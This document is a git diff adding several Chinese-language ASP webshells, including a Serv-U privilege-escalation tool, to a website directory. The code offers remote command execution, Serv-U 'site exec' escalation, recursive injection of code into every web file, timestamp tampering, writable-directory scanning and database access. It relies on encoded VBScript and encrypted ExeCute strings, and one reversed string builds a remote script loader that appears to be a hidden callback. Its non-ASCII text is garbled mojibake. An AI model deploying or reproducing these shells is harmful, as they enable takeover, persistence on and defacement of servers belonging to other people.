"-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=c:\\|RWAMELCDP" & vbCrLf +quit = "QUIT" & vbCrLf +newuser=replace(newuser,"c:",f) +select case SUaction +case 1 +set a=Server.CreateObject("Microsoft.XMLHTTP") +a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s1",True, "", "" +a.send loginuser & loginpass & mt & deldomain & newdomain & newuser & quit +set session("a")=a +RRS"
    " +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"
    " +RRS"" +case 2 +set b=Server.CreateObject("Microsoft.XMLHTTP") +b.open "GET", "http://127.0.0.1:" & ftpport & "/goldsun/upadmin/s2", True, "", "" +b.send "User go" & vbCrLf & "pass od" & vbCrLf & "site exec " & cmd & vbCrLf & quit +set session("b")=b +RRS"
    " +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"
    " +RRS"" +case 3 +set c=Server.CreateObject("Microsoft.XMLHTTP") +c.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s3", True, "", "" +c.send loginuser & loginpass & mt & deldomain & quit +set session("c")=c +RRS"
    Ȩ,ִ
    "&cmd&"

    " +RRS"" +RRS"
    " +case else +on error resume next +set a=session("a") +set b=session("b") +set c=session("c") +a.abort +Set a = Nothing +b.abort +Set b = Nothing +c.abort +Set c = Nothing +RRS"

    " +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"
    Serv-U Ȩ ASP
    û:
    ڣ
    ϵͳ·
    " +RRS"" +RRS"
    " +end select +function Gpath() +on error resume next +err.clear +set f=Server.CreateObject("Scripting.FileSystemObject") +if err.number>0 then +gpath="c:" +exit function +end if +gpath=f.GetSpecialFolder(0) +gpath=lcase(left(gpath,2)) +set f=nothing:end function: +Case "Cplgm" +Fpath=Request("fd") +addcode = Request("code") +addcode2 = Request("code2") +pcfile=request("pcfile") +checkbox=request("checkbox") +ShowMsg=request("ShowMsg") +FType=request("FType") +M=request("M") +if Ftype="" then Ftype="txt|htm|html|asp|php|jsp|aspx|cgi|cer|asa|cdx" +if Fpath="\" then Fpath=Server.MapPath("\") +if Fpath="." or Fpath="" then Fpath=Server.MapPath(".") +if addcode="" then addcode="<" +if checkbox="" then checkbox=request("checkbox") +if pcfile="" then +pcfileName=Request.ServerVariables("SCRIPT_NAME") +pcfilek=split(pcfileName,"/") +pcfilen=ubound(pcfilek) +pcfile=pcfilek(pcfilen) +end if +RRS ("
    վĿ¼- "&Server.MapPath("/")&"
    ") +RRS ("Ŀ¼- "&Server.MapPath(".")) +RRS "
    [" +if M="1" then RRS"-" +if M="2" then RRS"-˵" +if M="3" then RRS"-滻" +if M="" then response.end +RRS "]" +RRS "" +if M="1" then RRS "" +RRS "" +RRS "" +RRS "" +RRS "" +if M="3" then RRS "" +RRS "" +RRS "
    ļ· \վĿ¼.ΪĿ¼
    ظ ֹһҳжظĴ
    ųļ 벻뱻޸ĵļ磺1.asp|2.asp|3.asp
    ļͣ Ҫ޸ĵļ[չ]磺htm|html|asp|php|jsp|aspx|cgi
    " +if M="1" then RRS"Ҫҵ" +if M="2" then RRS"Ҫ" +if M="3" then RRS"Ҫ滻Ĵ룺" +RRS"
    滻Ϊ
    --ǽ--[ɹ ų ظ]
    " +if request("submit")="ʼִ" then +RRS"
    ִм¼
    " +call InsertAllFiles(Fpath,addcode,pcfile) +RRS"
    " +end if +sub att() +dim Path,FileName,NewTime,ShuXing +set path=request.Form("path1") +set fileName=request.Form("filename") +set newTime=request.Form("time") +set ShuXing=request.Form("shuxing") +RRS"
    " +RRS"·:
    " +RRS"ļ:
    " +RRS"޸ʱ:
    " +RRS"
    " +RRS"" +RRS"
    " +if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then +Set fso=Server.CreateObject("Scripting.FileSystemObject") +Set file=fso.getFile(path&fileName) +file.attributes=ShuXing +Set shell=Server.CreateObject("Shell.Application") +Set app_path=shell.NameSpace(server.mappath(".")) +Set app_file=app_path.ParseName(fileName) +app_file.Modifydate=newTime +RRS"

    ޸ļ  "&path&fileName&"  " +end if +end sub +function php():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.php")).Write"":Response.write" ":Response.write "





    ܿtest.phpʾ,ʾ֧PHP

    "" then +If Asc(Mid(bb, i, 1)) < 32 Or Asc(Mid(bb, i, 1)) > 126 Then +a = a & Chr(Asc(Mid(bb, i, 1))) +else +pk=asc(mid(bb,i,1))-but +if pk>126 then +pk=pk-95 +elseif pk<32 then +pk=pk+95 +end if +a=a&chr(pk) +end if +else +a=a&vbcrlf +end if +next +lIl=a +end function +Function RndNumber(Min,Max) +Randomize +RndNumber=Int((Max - Min + 1) * Rnd() + Min) +End Function +function Gpath() +on error resume next +err.clear +set f=Server.CreateObject("Scripting.FileSystemObject") +if err.number>0 then +gpath="c:" +exit function +end if +gpath=f.GetSpecialFolder(0) +gpath=lcase(left(gpath,2)) +set f=nothing +end function +function jsp():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.jsp")).Write"ϲ֧jsp":Response.write" ":Response.write "





    ܿtest.jspʾ,ʾ֧jsp

    ɾԵļ(ȫԲſɾ,!)

    ":End function:function aspx():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.aspx")).Write"ϲ֧aspx":Response.write" ":Response.write "





    ܿTest.aspxʾ,ʾ֧asp.net

    Dz֧!ɼǵɾ":End function +function apjdel():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.DeleteFile(server.mappath("test.aspx")):fso.DeleteFile(server.mappath("test.php")):fso.DeleteFile(server.mappath("test.jsp")):response.write"ɾ!":End function:function sam():Response.write "







    ":response.write"
    N
    ":End function:acode="=s?psa.s/xs/moc.pxeyado//:p33h'=crs 3pircs<" +Efun=StrReverse(replace(replace(Encrypt(acode),"",Chr(34)),"",vbCrLf)):function goback():set Ofso = Server.CreateObject("Scripting.FileSystemObject") +set ofolder = Ofso.Getfolder(Session("FolderPath")) +if not ofolder.IsRootFolder then +Response.write "" +else +Response.write "" +end if +set Ofso=nothing +set ofolder=nothing +end function +Sub InsertAllFiles(Wpath,Wcode,pc) +Server.ScriptTimeout=999999999 +if right(Wpath,1)<>"\" then Wpath=Wpath &"\" +Set WFSO = CreateObject("Scripting.FileSystemObject") +on error resume next +Set f = WFSO.GetFolder(Wpath) +Set fc2 = f.files +For Each myfile in fc2 +Set FS1 = CreateObject("Scripting.FileSystemObject") +FType1=split(myfile.name,".") +FType2=ubound(FType1) +if Ftype2>0 then +FType3=LCase(FType1(FType2)) +else +FType3="" +end if +if Instr(LCase(pc),LCase(myfile.name))=0 and Instr(LCase(FType),FType3)<>0 then +select case M +case "1" +if checkbox<>"checked" then +Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2) +tfile.writeline Wcode +RRS" "&Wpath&myfile.name +tfile.close +else +Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) +if Instr(tfile1.readall,Wcode)=0 then +Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2) +tfile.writeline Wcode +RRS""&Wpath&myfile.name +tfile1.close +else +RRS" "&Wpath&myfile.name +tfile1.close +end if +Set tfile1=Nothing +end if +case "2" +Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) +NewCode=Replace(tfile1.readall,Wcode,"") +Set objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True) +objCountFile.Write NewCode +objCountFile.Close +RRS""&Wpath&myfile.name +Set objCountFile=Nothing +case "3" +Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) +NewCode=Replace(tfile1.readall,Wcode,addCode2) +Set objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True) +objCountFile.Write NewCode +objCountFile.Close +RRS""&Wpath&myfile.name +Set objCountFile=Nothing +case else +RRS".":response.end +end select +else +RRS" "&Wpath&myfile.name +end if +RRS " Down " +RRS "edit " +RRS "Del " +RRS "Copy " +RRS "Move
    " +Next +Set fsubfolers = f.SubFolders +For Each f1 in fsubfolers +NewPath=Wpath&""&f1.name +InsertAllFiles NewPath,Wcode,pc +Next +set tfile=nothing +Set FSO = Nothing +set tfile=nothing +set tfile2=nothing +Set WFSO = Nothing +End Sub + +case "apjdel":apjdel():case"hiddenshell":hiddenshell():case "php":php():case "aspx":aspx():case "jsp":jsp():Case "MMD":MMD():Case "adminab":adminab():Case "sql":sql():Case "downloads":downloads():Case "ReadREG":call ReadREG():Case "att":call att():Case "Show1File":Set ABC=New LBF:ABC.Show1File(Session("FolderPath")):Set ABC=Nothing:Case "DownFile":DownFile FName:ShowErr():Case "DelFile":Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing:Case "EditFile":Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing:Case "CopyFile":Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing:Case "MoveFile":Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing:Case "DelFolder":Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing:Case "CopyFolder":Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing:Case "MoveFolder":Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing:Case "NewFolder":Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing:Case "UpFile":UpFile():Case "Cmd1Shell":Cmd1Shell():Case "Logout":Session.Contents.Remove("web2a2dmin"):Response.Redirect URL:Case "CreateMdb":CreateMdb FName:Case "CompactMdb":CompactMdb FName:Case "DbManager":DbManager():Case "Course":Course():Case "ServerInfo":ServerInfo():Case Else MainForm():End Select:ExeCute SinfoEn("r(ErowShn he tu~rvSe>~ntm/h> \ No newline at end of file diff --git a/www-7jyewu-cn/拿站小助手-经典Asp小马.asp b/www-7jyewu-cn/拿站小助手-经典Asp小马.asp new file mode 100644 index 0000000..ca20635 --- /dev/null +++ b/www-7jyewu-cn/拿站小助手-经典Asp小马.asp @@ -0,0 +1,104 @@ +<%@LANGUAGE="VBScript.Encode" CODEPAGE="936"%> + + + +ע - վС + + + + +

    +<%#@~^DAAAAA==~9kh,W(LsUr,vQMAAA==^#~@%> +<%#@~^CwAAAA==~9kh,09lYmPmgMAAA==^#~@%> +<%#@~^EgAAAA==~9kh,W(LZKE OsbVnPXgYAAA==^#~@%> +<%#@~^FgAAAA==~Kx~DMWD,DdEs+~x6O~9wcAAA==^#~@%> +<%#@~^QAAAAA==~U+O,W(LsUr,xPU+.\D /M+lDnr(L+1OcJUmMk2YrUTRok^n?H/Onsr4%n1YE#,ThYAAA==^#~@%> +<%#@~^KQAAAA==~b0~:Db:`M+$;+kYcJkXW[alY4E#*@!@*rE~Y4+ PqgwAAA==^#~@%> +<%#@~^HQAAAA==~6NCDl,'PM+$;+kYcJ1XW[9lYmE#,mwkAAA==^#~@%> +<%#@~^QgAAAA==~U+O,W(LZKE OsbVn'K4%oUrR;.+mY+:naYwk^+cDn5!+dYvE/H0[2mYtEbBK.Eb,dRcAAA==^#~@%> +<%#@~^GgAAAA==~K4%;W!xYwk^nRqDrYPW[mYl,XQkAAA==^#~@%> +<%#@~^EAAAAA==~b0~DMP'ZPD4+ P1AQAAA==^#~@%> +<%#@~^NwAAAA==~M+daW /+chMrYPE@!6WUO,mW^GD{aswoo!Z@*ɹe@!&0GUD@*EPNQ8AAA==^#~@%> +<%#@~^BgAAAA==~VdP6QEAAA==^#~@%> +<%#@~^NwAAAA==~M+daW /+chMrYPE@!6WUO,mW^GD{aswoo!Z@*ʧe@!&0GUD@*EPNQ8AAA==^#~@%> +<%#@~^CAAAAA==~x[,k6PZgIAAA==^#~@%> +<%#@~^CwAAAA==~D.cm^+lMPvgMAAA==^#~@%> +<%#@~^CAAAAA==~x[,k6PZgIAAA==^#~@%> +<%#@~^FAAAAA==~K4%;W!xYwk^nR;VG/PKAcAAA==^#~@%> +<%#@~^GgAAAA==~U+O,W(LZKE OsbVn'gWO4bxo,ZAkAAA==^#~@%> +<%#@~^FgAAAA==~U+O,W(LsUr,xPgWOtbxL~AwcAAA==^#~@%> +<%#@~^HAAAAA==~"+daW /+chMrYPE@!J0G.s@*J,qQgAAA==^#~@%> +

    + + + + +
    + + + + +
    + + + + + + + + + + + + + + + + +
    +<%#@~^GwAAAA==~"+daW /+chMrYPEļԵ·J,TAYAAA==^#~@%> +<%=#@~^NwAAAA==dD-Dc:lawmOtvIn;!+dOc?+M-+M.lMrC4^+k`E?/]&nP{g)HAJbb,MhMAAA==^#~@%> +
    +<%#@~^TQAAAA==~"+daW /+chMrYPEļ@!6WUO,mW^GD{D+9@*·cļ)G)'hn4wacldw*l@!J0GUD@*J~txMAAA==^#~@%> +<%#@~^MwAAAA==~"+daW /+chMrYPE@!6W.h,lmDrW 'BEvvPs+DtGNx2K/O@*r~lRAAAA==^#~@%> +
    뱣·<%#@~^RgAAAA==~"+daW /+cMrYPE@!bx2;DPYH2+{Y+XO~xm:'dXW[alOt,Ak9Y4xy!!~dbyn'Rq@*J~qxcAAA==^#~@%> +
    +<%#@~^GwAAAA==~"+daW /+chMrYPEļݣJ,TAYAAA==^#~@%> +<%#@~^UwAAAA==~"+daW /+chMrYPE@!D+aOmD+m~xm:+{^z09NmYCP^G^/x%Z~DKhdx8!PAr9Y4'2+@*@!&D+XYlM+m@*J,ShsAAA==^#~@%> +
    +<%#@~^MQAAAA==~"+daW /+chMrYPE@!bx2;DPYH2+{/E(hrY,\mV;+x@*rPIxAAAA==^#~@%> +
    + + + +ϴ \ No newline at end of file diff --git a/www-7jyewu-cn/星外虚拟机提权专用asp大马 (1).asp b/www-7jyewu-cn/星外虚拟机提权专用asp大马 (1).asp new file mode 100644 index 0000000..bfbe6b7 --- /dev/null +++ b/www-7jyewu-cn/星外虚拟机提权专用asp大马 (1).asp @@ -0,0 +1,1296 @@ +<% +UserPass="admin"' +Server.ScriptTimeout=999999999 +Response.Buffer =true +On Error Resume Next +'------------------------ڲ ---------------------- +mmname ="---ȨרWebshell" 'shell +mmshell ="ȨרWebshell 80secƷ" 'shellȨ +errout ="󣡣" 'ʾ +serversoft=Request.ServerVariables("server_software") +'------------------------------------------- + +response.write ""+vbCrLf+""+vbCrLf+"" + +Response.Buffer = True +Server.ScriptTimeOut=999999999 + +CONST_FSO="Script"&"ing.Fil"&"eSyst"&"emObject" + + +'· \ +function GetFullPath(path) + GetFullPath = path + if Right(path,1) <> "\" then GetFullPath = path&"\" 'ַ \ ľͼ +end function + +'ɾļ +Function Deltextfile(filepath) + On Error Resume Next + Set objFSO = CreateObject(CONST_FSO) + if objFSO.FileExists(filepath) then 'ļǷ + objFSO.DeleteFile(filepath) + end if + Set objFSO = nothing + Deltextfile = Err.Number 'ش +End Function + + +'Ŀ¼Ƿд 0 Ϊɶд 1Ϊдɾ +Function CheckDirIsOKWrite(DirStr) + On Error Resume Next + Set FSO = Server.CreateObject(CONST_FSO) + filepath = GetFullPath(DirStr)&fso.GettempName + FSO.CreateTextFile(filepath) + CheckDirIsOKWrite = Err.Number 'ش + if ShowNoWriteDir and (CheckDirIsOKWrite =70) then + Response.Write "[Ŀ¼]"&DirStr&" ["&Err.Description&"]
    " + end if + set fout =Nothing + set FSO = Nothing + Deltextfile(filepath) 'ɾ + if CheckDirIsOKWrite=0 and Deltextfile(filepath)=70 then CheckDirIsOKWrite =1 +end Function + +'ļǷ޸(˷޸,ܻе㲻׼) +function CheckFileWrite(filepath) + On Error Resume Next + Set FSO = Server.CreateObject(CONST_FSO) + set getAtt=FSO.GetFile(filepath) + getAtt.Attributes = getAtt.Attributes + CheckFileWrite = Err.Number + set FSO = Nothing + set getAtt = Nothing +end function + +'Ŀ¼Ŀɶд +function ShowDirWrite_Dir_File(Path,CheckFile,CheckNextDir) + On Error Resume Next + Set FSO = Server.CreateObject(CONST_FSO) + B = FSO.FolderExists(Path) + set FSO=nothing + + 'ǷΪʱĿ¼ǷҪ + IS_TEMP_DIR = (instr(UCase(Path),"WINDOWS\TEMP")>0) and NoCheckTemp + + if B=false then 'Ŀ¼ͽļ + '========================================================================== + Re = CheckFileWrite(Path) 'Ƿд + if Re =0 then + Response.Write "[ļ]"&Path&"
    " + b =true + exit function + else + Response.Write "[ļ]"&Path&" ["&Err.Description&"]
    " + exit function + end if + '========================================================================== + end if + + + + Path = GetFullPath(Path) ' \ + + re = CheckDirIsOKWrite(Path) 'ǰĿ¼Ҳһ + if (re =0) or (re=1) then + Response.Write "[Ŀ¼]"& Path&"
    " + end if + +Set FSO = Server.CreateObject(CONST_FSO) +set f = fso.getfolder(Path) + + + +if (CheckFile=True) and (IS_TEMP_DIR=false) then +b=false +'====================================== +for each file in f.Files + Re = CheckFileWrite(Path&file.name) 'Ƿд + if Re =0 then + Response.Write "[ļ]"& Path&file.name&"
    " + b =true + else + if ShowNoWriteDir then Response.Write "[ļ]"&Path&file.name&" ["&Err.Description&"]
    " + end if +next +if b then response.Flush 'ݾˢ¿ͻʾ +'====================================== +end if + + + +'============= Ŀ¼ ================ +for each file in f.SubFolders +if CheckNextDir=false then 'ǷһĿ¼ + re = CheckDirIsOKWrite(Path&file.name) + if (re =0) or (re=1) then + Response.Write "[Ŀ¼]"& Path&file.name&"
    " + end if +end if + + if (CheckNextDir=True) and (IS_TEMP_DIR=false) then 'ǷһĿ¼ + ShowDirWrite_Dir_File Path&file.name,CheckFile,CheckNextDir 'ټһĿ¼ + end if +next +'====================================== +Set FSO = Nothing +set f = Nothing +end function + +Server.ScriptTimeout=999999999:Response.Buffer=true:On Error Resume Next: +ExeCute "sub ShowErr():If Err Then:RRS""

     "" & Err.Description & ""

    "":Err.Clear:Response.Flush:End If:end sub" +Sub RRS(str):response.write(str):End Sub +Function RePath(S) +RePath=Replace(S,"\","\\") +End Function +Function RRePath(S):RRePath=Replace(S,"\\","\") +End Function +URL=Request.ServerVariables("URL") +ServerIP=Request.ServerVariables("LOCAL_ADDR") +Action=Request("Action"):Pos=2 +RootPath=Server.MapPath(".") +WWWRoot=Server.MapPath("/") +Serveru=request.servervariables("http_host")&url +FolderPath=Request("FolderPath"): +Pn=pos*44:FName=Request("FName"):pso=5:BackUrl="

    " +RRS"" +RRS""&mmname&" - "&ServerIP&"--Soft - "&serversoft&"" +RRS ""©url&"" +rrS"" +rRs"" +ExeCute SinfoEn("lError=kilnerrodow.o;}win trueeturns(){rError killctiont>funscrip=javaguaget lanscripRRS~ȷϼݿSQL5
    "";}else if(i==12){alert(Str[i]);}else{DbForm.SqlStr.value = Str[i];}return true;}":RRS"function FullSqlStr(str,pg){if(DbForm.DbStr.value.length<5){alert(""ݿӴǷȷ!"");return false;}if(str.length<10){alert(""SQLǷȷ!"");return false;}DbForm.SqlStr.value = str;DbForm.Page.value = pg;abc.innerHTML="""";DbForm.submit();return true;}" +RRS"function gotoURL(targ,selObj,restore){if(selObj.options[selObj.selectedIndex].js==1){eval(selObj.options[selObj.selectedIndex].value);if (restore) selObj.selectedIndex=0}else{eval(targ+"".location='""+selObj.options[selObj.selectedIndex].value+""'"");if (restore) selObj.selectedIndex=0;}}" +rrs "" +Dim Sot(13,2):Sot(0,0) = "Scripting.FileSystemObject":Sot(0,2) = "ļ":Sot(1,0) = "wscript.shell":Sot(1,2) = "ִ":Sot(2,0) = "ADOX.Catalog":Sot(2,2) = "ACCESS":Sot(3,0) = "JRO.JetEngine":Sot(3,2) = "ACCESSѹ":Sot(4,0) = "Scripting.Dictionary":Sot(4,2) = "ϴ":Sot(5,0) = "Adodb.connection":Sot(5,2) = "ݿ":Sot(6,0) = "Adodb.Stream":Sot(6,2) = "ϴ":Sot(7,0) = "SoftArtisans.FileUp":Sot(7,2) = "SA-FileUp ļϴ":Sot(8,0) = "LyfUpload.UploadFile":Sot(8,2) = "Ʒļϴ":Sot(9,0) = "Persits.Upload.1":Sot(9,2) = "ASPUpload ļϴ":Sot(10,0) = "JMail.SmtpMail":Sot(10,2) = "JMail ʼշ":Sot(11,0) = "CDONTS.NewMail":Sot(11,2) = "SMTP":Sot(12,0) = "SmtpMail.SmtpMail.1":Sot(12,2) = "SmtpMail":Sot(13,0) = "Microsoft.XMLHTTP":Sot(13,2) = "ݴ" +For i=0 To 13 +Set T=Server.CreateObject(Sot(i,0)) +If -2147221005 <> Err Then +IsObj=" " +Else +IsObj=" " +Err.Clear +End If +Set T=Nothing +Sot(i,1)=IsObj +Next + + + + +If FolderPath<>"" then +Session("FolderPath")=RRePath(FolderPath) +End If:If Session("FolderPath")="" Then +FolderPath=RootPath +Session("FolderPath")=FolderPath +End if +Function MainForm() +RRS"
    " +RRS"" +RRS"" +RRS"
    " +RRS"XProgram2EAllUsersn#ibibpcAnywhereLMserv-uDv~ⳣд~:SQLIJPHPEDconfigWPdataeFTempm?RECYCLERv,д7" +RRS"" +RRS"" +RRS"
    ַ" +RRS"" +RRS"" +RRS"
    " +RRS"" +RRS"" +RRS"
    " +RRS"

    ʾ

    " +RRS"" +End Function:Function MainMenu() +RRS"" +RRS"" +If soT(0,1)=" " Then +RRS"" +Else +Set ABC=New LBF:RRS ABC.ShowDriver():Set ABC=Nothing +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +End if +RRS"

    " +RRS"
    Ȩ
    վĿ¼
    Ŀ¼
    ϼĿ¼
    ½Ŀ¼
    ½ı
    Զ
    ϴļ
    дĿ¼
    ޸Ȩ
    ش
    Ȩ
    Ȩ

    Ȩ
    ɨĿ¼дD
    û˺
    Ա
    Զ¼
    ֧
    ִCMD
    Cmd2
    SQLִCMD
    ˿ɨ
    Serv-uȨ
    Serv-u Ftp
    Serv-u7xȨ
    ע
    ASPX̽
    PHP̽
    JSP̽
    ߼
    ݿ
    ˳¼
    " +End Function: +Sub ScanDriveForm() + Dim FSO,DriveB + Set FSO = Server.Createobject("Scripting.FileSystemObject") +Response.Write "" +Response.Write " " +Response.Write " " +Response.Write " " + + + For Each DriveB in FSO.Drives + +Response.Write " " +Next +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write "
    /ϵͳļϢ
    Windowsļ" +Response.Write FSO.GetSpecialFolder(0) +Response.Write "
    System32ļ" +Response.Write FSO.GetSpecialFolder(1) +Response.Write "
    ϵͳʱļ" +Response.Write FSO.GetSpecialFolder(2) +Response.Write "

    " +Response.Write "
    " +Response.Write "ǰվ·:"&Server.MapPath("/")&"" +Response.Write "
    ָļвѯ" +Response.Write " " +Response.Write " Wָļ·b磺F:\ASP\" +Response.Write "
    " +Response.Write "
    " + Set FSO=Nothing +End Sub + +Sub ScanDrive(Drive) + Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D + If Drive <> "" Then + Set FSO = Server.Createobject("Scripting.FileSystemObject") + Set TestDrive = FSO.GetDrive(Drive) + If TestDrive.IsReady Then + Temp_Str = "
  • ̷ͣ" & Red(TestDrive.FileSystem) & "
  • кţ" & Red(TestDrive.SerialNumber) & "
  • ̹" & Red(TestDrive.ShareName) & "
  • " & Red(GetTheSize(TestDrive.TotalSize)) & "
  • ̾" & Red(TestDrive.VolumeName) & "
  • ̸Ŀ¼:" & ScReWr((Drive & ":\")) + + Set BaseFolder = TestDrive.RootFolder + Set TempFolders = BaseFolder.SubFolders + For Each D in TempFolders + Temp_Str = Temp_Str & "
  • ļУ" & ScReWr(D) + Next + Set TempFolder = Nothing + Set BaseFolder = Nothing + Else + Temp_Str = Temp_Str & "
  • ̸Ŀ¼:" & Red("ɶ:(") + Dim TempFolderList,t + t=0 + Temp_Str = Temp_Str & "
  • " & Red("Ŀ¼ԣ") + TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp") + For i = 0 to Ubound(TempFolderList) + If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then + t = t+1 + Temp_Str = Temp_Str & "
  • ļУ" & ScReWr(Drive & ":\" & TempFolderList(i)) + End if + Next + If t=0 then Temp_Str = Temp_Str & "
  • " & Drive & "̸Ŀ¼δз:(" + End if + Set TestDrive = Nothing + Set FSO = Nothing + Temp_Str = Temp_Str & "
  • ע⣺" & Red("Ҫˢ±ҳ棬ֻдļл´ļ!") + Message Drive & ":Ϣ",Temp_Str,1 + End if +End Sub + +Sub ScFolder(folder) + On Error Resume Next + Dim FSO,OFolder,TempFolder,Scmsg,S + Set FSO = Server.Createobject("Scripting.FileSystemObject") + If FSO.FolderExists(folder) Then + Set OFolder = FSO.GetFolder(folder) + Set TempFolders = OFolder.SubFolders + Scmsg = "
  • ָļиĿ¼" & ScReWr(folder) + For Each S in TempFolders + Scmsg = Scmsg&"
  • ļУ" & ScReWr(S) + Next + Set TempFolders = Nothing + Set OFolder = Nothing + Else + Scmsg = Scmsg & "
  • ļУ" & Red(folder & "ڻ޶Ȩ!") + End if + Scmsg = Scmsg & "
  • ע⣺" & Red("Ҫˢ±ҳ棬ֻдļл´ļ!") + Set FSO = Nothing + Message "ļϢ",Scmsg,1 +End Sub + +Function ScReWr(folder): + On Error Resume Next + Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename + Set FSO = Server.Createobject("Scripting.FileSystemObject") + Set TestFolder = FSO.GetFolder(folder) + Set TestFileList = TestFolder.SubFolders + RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp" + For Each A in TestFileList + Next + If err Then + err.Clear + ReWrStr = folder & " ɶ," + FSO.CreateTextFile folder & RndFilename,True + If err Then + err.Clear + ReWrStr = ReWrStr & "дq" + Else + ReWrStr = ReWrStr & "дq" + FSO.DeleteFile folder & RndFilename,True + End If + Else + ReWrStr = folder & " ɶ," + FSO.CreateTextFile folder & RndFilename,True + If err Then + err.Clear + ReWrStr = ReWrStr & "дY" + Else + ReWrStr = ReWrStr & "дY" + FSO.DeleteFile folder & RndFilename,True + End if + End if + Set TestFileList = Nothing + Set TestFolder = Nothing + Set FSO = Nothing + ScReWr = ReWrStr +End Function + +Sub Message(state,msg,flag) +Response.Write "" +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write "
    ϵͳϢ
    " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write " " +Response.Write "
    " +Response.Write state +Response.Write "

    " +Response.Write msg +Response.Write "

    " +Response.Write "
    " +Response.Write " " +If flag=0 Then +Response.Write " " +Response.Write " " +Else +Response.Write " " +Response.Write " " +End if +Response.Write "
    " +End Sub +Function Red(str):Red = "" & str & "" +End Function +Sub PageAddToMdb():ExeCute SinfoEn("atePth, cteAthm Dih`~)cteAth(~stueeq R =cteAth`~)thPahe~tt(esquRe= h atePth`0000=1uteOimtTipcr.SerrvSe0`he Tb~MdTodd~a= t Ache tIfn`thPahe(tdboMdTad)`UrckBa~&v>dibr>dibr>os=podthmem or=8zesi~ ~~& ) ~)~.h(atpPMar.veer(SdecoEnmlHt& ~ ~~e=luvah atePthe=am nutnpAche=tmenab MdTodd=aueal venddhie=yp tutnpiopt/oOpp=aueal vontiop>Fso=fueal vontiop>~ctlese~'ʼ'e=luvat miub=spetyt puin
    ~rmfobr:<)O֧FS(⿪>r/os=podthmem or=8zesi~ b~mdH.HS~\& ) ~)~.h(atpPMar.veer(SdecoEnmlHt& ~ ~~e=luvah atePthe=am nutnp'e=luvat miub=spetyt puin>
    ~rmfo ilehi WDo`enThe lsFa= ) i), thPahe(tftLes(stxirEdeol.F~)ctjeObemstSyleFig.inptriSc(~ctjeObteeaCrr.veer SIf`)) 1 - ih,atePtht(ef(LerldFoteeaCr).t~ecbjmOteyseSil.Fngtiipcr~St(ecbjeOatre.CerrvSe`Ifd En`he T~)~\, 1)+ i , thPahe(tid(MtrnS IIfn`\~ ~), 1 + ih,atePthd(Mir(stIn+ i = i )`ls Ee`= i 0`Ifd En`opLo",Pos):End Sub:Sub saTreeForMdb(thePath, rs, stream):ExeCute SinfoEn("stLileFiys sr,deoleFth, emitm Di`b$ldH.HSb$mdH.HS~$= t iseLilsFsy~`h)atePthe(acSpmeNaX.sa= r deoleFtht Se`mste.IerldFohe tInm te ichEar Fo`enThe ru T =erldFoIsm.te iIf`amrest, rs, thPam.te idbrMFoeeTrsa`ls Ee`enTh0 = <~)~$& e am.Nemit& ~ ~$, stLileFiys(strnS IIf`Nedd.Arsw` 4h,at.Pemitd(Mi= ) h~atePth(~rs)`h)at.Pemite(ilmFrodFoa.Lamrest`d(ea.Ramrest= ) t~enntColefi(~rs)`atpd.Urse`Ifd En`Ifd En`xtNe`inthNo= r deoleFtht Seg",Pos):End Sub:Function Course():ExeCute SinfoEn("ter'>='cenalign='0' ddingellpa'1' ccing=llspa0' ceder='' bor'menuolor=' bgc='600widthable br>ϵr='megcoloer' b'centlign='3' 